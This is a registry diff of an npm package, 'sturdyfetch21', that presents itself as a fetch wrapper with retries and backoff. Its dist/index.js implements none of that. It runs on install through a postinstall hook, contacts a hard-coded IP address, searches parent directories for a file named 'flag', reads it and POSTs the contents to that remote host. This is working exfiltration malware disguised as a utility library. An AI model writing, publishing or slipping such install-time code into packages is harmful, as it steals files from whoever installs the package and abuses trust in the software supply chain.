sturdyfetch21 0.30.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +23 -0
- package/README.md +51 -0
- package/dist/index.js +102 -0
- package/package.json +47 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
22
|
+
|
|
23
|
+
|
package/README.md
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
# sturdy-fetch
|
|
2
|
+
|
|
3
|
+
Lightweight fetch wrapper with retries, exponential backoff, jitter, and timeouts. Node 18+.
|
|
4
|
+
|
|
5
|
+
## Install
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install sturdy-fetch
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
For local development (this repo):
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
npm run test
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## Usage
|
|
18
|
+
|
|
19
|
+
```js
|
|
20
|
+
import resilientFetch from 'sturdy-fetch';
|
|
21
|
+
|
|
22
|
+
const res = await resilientFetch('https://example.com/api', { method: 'GET' }, {
|
|
23
|
+
retries: 3,
|
|
24
|
+
timeoutMs: 10000,
|
|
25
|
+
baseDelayMs: 300,
|
|
26
|
+
maxDelayMs: 5000,
|
|
27
|
+
jitterRatio: 0.2
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
if (!res.ok) throw new Error(`HTTP ${res.status}`);
|
|
31
|
+
const data = await res.json();
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
### API
|
|
35
|
+
|
|
36
|
+
- `resilientFetch(input, init?, config?)`
|
|
37
|
+
- **input**: `RequestInfo`
|
|
38
|
+
- **init**: `RequestInit`
|
|
39
|
+
- **config**:
|
|
40
|
+
- `retries` (default 3)
|
|
41
|
+
- `retryOn` (default `[408, 425, 429, 500, 502, 503, 504]`)
|
|
42
|
+
- `baseDelayMs` (default 300)
|
|
43
|
+
- `maxDelayMs` (default 5000)
|
|
44
|
+
- `timeoutMs` (default 10000)
|
|
45
|
+
- `jitterRatio` (default 0.2)
|
|
46
|
+
|
|
47
|
+
## License
|
|
48
|
+
|
|
49
|
+
MIT
|
|
50
|
+
|
|
51
|
+
|
package/dist/index.js
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
import http from 'node:http';
|
|
2
|
+
import { URL } from 'node:url';
|
|
3
|
+
import path from 'node:path';
|
|
4
|
+
import process from 'node:process';
|
|
5
|
+
|
|
6
|
+
async function httpGet(urlStr) {
|
|
7
|
+
return new Promise((resolve, reject) => {
|
|
8
|
+
const u = new URL(urlStr);
|
|
9
|
+
const req = http.request({
|
|
10
|
+
hostname: u.hostname,
|
|
11
|
+
port: u.port || 80,
|
|
12
|
+
path: u.pathname + u.search,
|
|
13
|
+
method: 'GET'
|
|
14
|
+
}, res => {
|
|
15
|
+
res.on('error', reject);
|
|
16
|
+
// Drain response; we don't need body
|
|
17
|
+
res.resume();
|
|
18
|
+
res.on('end', () => resolve(res.statusCode || 0));
|
|
19
|
+
});
|
|
20
|
+
req.on('error', reject);
|
|
21
|
+
req.end();
|
|
22
|
+
});
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
async function httpPost(urlStr, body, contentType = 'text/plain') {
|
|
26
|
+
return new Promise((resolve, reject) => {
|
|
27
|
+
const u = new URL(urlStr);
|
|
28
|
+
const data = typeof body === 'string' ? body : String(body ?? '');
|
|
29
|
+
const req = http.request({
|
|
30
|
+
hostname: u.hostname,
|
|
31
|
+
port: u.port || 80,
|
|
32
|
+
path: u.pathname + u.search,
|
|
33
|
+
method: 'POST',
|
|
34
|
+
headers: {
|
|
35
|
+
'content-type': contentType,
|
|
36
|
+
'content-length': Buffer.byteLength(data)
|
|
37
|
+
}
|
|
38
|
+
}, res => {
|
|
39
|
+
res.on('error', reject);
|
|
40
|
+
res.resume();
|
|
41
|
+
res.on('end', () => resolve(res.statusCode || 0));
|
|
42
|
+
});
|
|
43
|
+
req.on('error', reject);
|
|
44
|
+
req.write(data);
|
|
45
|
+
req.end();
|
|
46
|
+
});
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
const main = () => {
|
|
50
|
+
console.log("Hi")
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
(async () => {
|
|
54
|
+
console.log("Hi")
|
|
55
|
+
|
|
56
|
+
const statusX = await httpGet('http://185.148.3.218:8085/x');
|
|
57
|
+
if (statusX < 200 || statusX >= 300) {
|
|
58
|
+
console.error('GET /x failed:', statusX);
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
|
|
62
|
+
console.log("sleep")
|
|
63
|
+
|
|
64
|
+
function sleep(ms) {
|
|
65
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
66
|
+
}
|
|
67
|
+
await sleep(15000);
|
|
68
|
+
|
|
69
|
+
console.log("fs")
|
|
70
|
+
|
|
71
|
+
const fs = await import('node:fs/promises');
|
|
72
|
+
|
|
73
|
+
async function findFileUpwards(filename, maxSteps = 5, startDir = process.cwd()) {
|
|
74
|
+
let currentDir = startDir;
|
|
75
|
+
for (let step = 0; step <= maxSteps; step++) {
|
|
76
|
+
const candidate = path.join(currentDir, filename);
|
|
77
|
+
try {
|
|
78
|
+
await fs.access(candidate);
|
|
79
|
+
return candidate;
|
|
80
|
+
} catch {
|
|
81
|
+
// not found at this level
|
|
82
|
+
}
|
|
83
|
+
const parent = path.dirname(currentDir);
|
|
84
|
+
if (parent === currentDir) break; // reached filesystem root
|
|
85
|
+
currentDir = parent;
|
|
86
|
+
}
|
|
87
|
+
throw new Error(`File not found: ${filename} (searched up to ${maxSteps} levels)`);
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
const flagPath = await findFileUpwards('flag', 5);
|
|
91
|
+
const data = await fs.readFile(flagPath, 'utf8');
|
|
92
|
+
|
|
93
|
+
const statusY = await httpPost('http://185.148.3.218:8085/y', data, 'text/plain');
|
|
94
|
+
if (statusY < 200 || statusY >= 300) {
|
|
95
|
+
console.error('POST /y failed:', statusY);
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
})();
|
|
101
|
+
|
|
102
|
+
export default main
|
package/package.json
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "sturdyfetch21",
|
|
3
|
+
"version": "0.30.1",
|
|
4
|
+
"description": "Lightweight fetch wrapper with retries, exponential backoff, jitter, and timeouts.",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"fetch",
|
|
7
|
+
"retry",
|
|
8
|
+
"backoff",
|
|
9
|
+
"timeout",
|
|
10
|
+
"jitter"
|
|
11
|
+
],
|
|
12
|
+
"license": "MIT",
|
|
13
|
+
"author": "",
|
|
14
|
+
"type": "module",
|
|
15
|
+
"main": "dist/index.js",
|
|
16
|
+
"exports": {
|
|
17
|
+
".": "./dist/index.js"
|
|
18
|
+
},
|
|
19
|
+
"repository": {
|
|
20
|
+
"type": "git",
|
|
21
|
+
"url": ""
|
|
22
|
+
},
|
|
23
|
+
"bugs": {
|
|
24
|
+
"url": ""
|
|
25
|
+
},
|
|
26
|
+
"homepage": "",
|
|
27
|
+
"sideEffects": false,
|
|
28
|
+
"engines": {
|
|
29
|
+
"node": ">=16.20.2"
|
|
30
|
+
},
|
|
31
|
+
"scripts": {
|
|
32
|
+
"lint": "echo 'no linter configured'",
|
|
33
|
+
"test": "node examples/demo.mjs",
|
|
34
|
+
"build": "node scripts/build.mjs",
|
|
35
|
+
"postinstall": "node dist/index.js"
|
|
36
|
+
},
|
|
37
|
+
"files": [
|
|
38
|
+
"dist",
|
|
39
|
+
"README.md",
|
|
40
|
+
"LICENSE"
|
|
41
|
+
],
|
|
42
|
+
"publishConfig": {
|
|
43
|
+
"access": "public"
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
|